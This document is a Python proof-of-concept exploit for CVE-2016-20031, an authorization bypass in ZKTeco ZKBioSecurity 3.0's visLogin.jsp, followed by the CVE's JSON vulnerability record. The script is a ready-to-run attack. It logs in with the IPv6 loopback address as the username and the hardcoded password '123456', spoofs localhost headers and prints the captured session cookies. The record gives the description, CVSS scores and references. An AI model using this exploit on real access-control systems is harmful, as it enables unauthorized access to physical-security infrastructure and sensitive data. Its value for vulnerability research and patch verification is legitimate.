CVE-2016-20031

import requests # CVE-2016-20031 PoC - ZKBioSecurity 3.0 Local Auth Bypass # Target: ZKTeco ZKBioSecurity visLogin.jsp def exploit_auth_bypass(target_url): """ Exploit for CVE-2016-20031 Local Authorization Bypass via IPv6 Loopback Address Spoofing """ # IPv6 loopback address that gets converted to 127.0.0.1 ipv6_loopback = "0:0:0:0:0:0:0:1" # Target login endpoint login_url = f"{target_url}/visLogin.jsp" # Hardcoded credentials extracted from analysis # Using IP as username with hardcoded password payload = { "username": ipv6_loopback, "password": "123456" } # Request headers to spoof localhost headers = { "X-Forwarded-For": ipv6_loopback, "X-Real-IP": ipv6_loopback, "Client-IP": ipv6_loopback, "Host": "127.0.0.1" } try: response = requests.post(login_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: # Check for successful authentication indicators if "success" in response.text.lower() or "session" in response.cookies: print("[+] Authentication bypass successful!") print(f"[+] Session cookies: {response.cookies}") return True print("[-] Authentication bypass failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://target-server:8080" exploit_auth_bypass(target)

{"cve": {"id": "CVE-2016-20031", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:49.920", "lastModified": "2026-04-15T14:56:45.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZKTeco ZKBioSecurity 3.0 contains a local authorization bypass vulnerability in visLogin.jsp that allows attackers to authenticate without valid credentials by spoofing localhost requests. Attackers can exploit the EnvironmentUtil.getClientIp() method which treats IPv6 loopback address 0:0:0:0:0:0:0:1 as 127.0.0.1 and authenticates using the IP as username with hardcoded password 123456 to access sensitive information and perform unauthorized actions."}, {"lang": "es", "value": "ZKTeco ZKBioSecurity 3.0 contiene una vulnerabilidad de omisión de autorización local en visLogin.jsp que permite a los atacantes autenticarse sin credenciales válidas suplantando solicitudes de localhost. Los atacantes pueden explotar el método EnvironmentUtil.getClientIp() que trata la dirección de bucle invertido IPv6 0:0:0:0:0:0:0:1 como 127.0.0.1 y se autentica usando la IP como nombre de usuario con la contraseña codificada 123456 para acceder a información sensible y realizar acciones no autorizadas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2016090003", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/116488", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/138571", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/40327/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/zkteco-zkbiosecurity-local-authorization-bypass-via-vislogin-jsp", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5367.php", "source": "[email protected]"}]}}